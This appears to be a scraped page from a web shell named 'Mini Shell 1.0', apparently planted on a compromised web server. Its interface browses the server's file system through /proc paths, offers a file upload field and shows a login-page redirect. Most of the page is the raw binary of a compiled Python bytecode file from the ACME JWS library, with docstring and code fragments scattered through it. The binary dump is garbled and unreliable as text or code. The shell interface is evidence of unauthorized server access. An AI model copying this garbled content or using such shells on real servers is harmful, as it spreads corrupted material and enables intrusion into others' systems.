HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1780863/root/usr/lib/python3/dist-packages/acme/__pycache__/
Upload File :
Current File : //proc/1780863/root/usr/lib/python3/dist-packages/acme/__pycache__/jws.cpython-311.pyc
�

E��c@
���dZddlmZddlZGd�dej��ZGd�dej��ZGd�d	ej��ZdS)
z�ACME-specific JWS.

The JWS implementation in josepy only implements the base JOSE standard. In
order to support the new header fields defined in ACME, this module defines some
ACME-specific classes that layer on top of josepy.
�)�OptionalNc��eZdZUdZejddej���Zee	e
d<ejdd���Zeee
d<ejdd���Z
eee
d<ejded	e	fd
���ZdS)�Headerz?ACME-specific JOSE Header. Implements nonce, kid, and url.
    �nonceT)�	omitempty�encoder�kid)r�url�value�returnc��	tj|��S#tj$r,}tjd�|�����d}~wwxYw)NzInvalid nonce: {0})�jose�decode_b64jose�DeserializationError�format)r�errors  �*/usr/lib/python3/dist-packages/acme/jws.pyrzHeader.nonces_��	P��&�u�-�-�-���(�	P�	P�	P��+�,@�,G�,G��,N�,N�O�O�O�����	P���s��A�'A�AN)�__name__�
__module__�__qualname__�__doc__r�field�encode_b64joserr�bytes�__annotations__r	�strr
�decoder��rrrs����������'�T�Z��4��I\�]�]�]�E�8�E�?�]�]�]�#���E�T�:�:�:�C��#��:�:�:�#���E�T�:�:�:�C��#��:�:�:��]�P�S�P�U�P�P�P��]�P�P�Prrc�|�eZdZUdZejjZeZ	ej
dde	��e	j���Zee
d<dS)�	SignaturezGACME-specific Signature. Uses ACME-specific Header for customer fields.�headerT)r�defaultrN)rrrrrr!�_orig_slots�	__slots__r�
header_clsr�	from_jsonr"rrrrr!r!si�������Q�Q���*�I��J��T�Z��D�*�*�,�,��$�&�&�&�F�F�&�&�&�&�&rr!c���eZdZdZeZejjZ	e
	ddedejdej
deedeedeed	ejf�fd
�
��Z�xZS)�JWSzCACME-specific JWS. Includes none, url, and kid in protected header.N�payload�key�algrr
r	rc
�|��|du}t���|||tgd���||||���S)N)rr
r	�jwkr,)r+r,�protectrr
r	�include_jwk)�super�sign�	frozenset)	�clsr*r+r,rr
r	r0�	__class__s	        �rr2zJWS.sign1sO����T�k���w�w�|�|�G��#�$-�.S�.S�.S�$T�$T�"'�S�c�(3��5�5�	5r)NN)rrrrr!�
signature_clsrr)r$r%�classmethodr�JWK�JWASignaturerrr2�
__classcell__)r5s@rr)r),s��������M�M��M���$�I��>B�5�5�5�5�t�x�5�d�6G�5�PX�Y^�P_�5��3�-�5�-5�c�]�5�FJ�h�5�5�5�5�5��[�5�5�5�5�5rr))r�typingr�josepyrrr!r)rrr�<module>r=s���������������P�P�P�P�P�T�[�P�P�P�$	&�	&�	&�	&�	&���	&�	&�	&�5�5�5�5�5�$�(�5�5�5�5�5r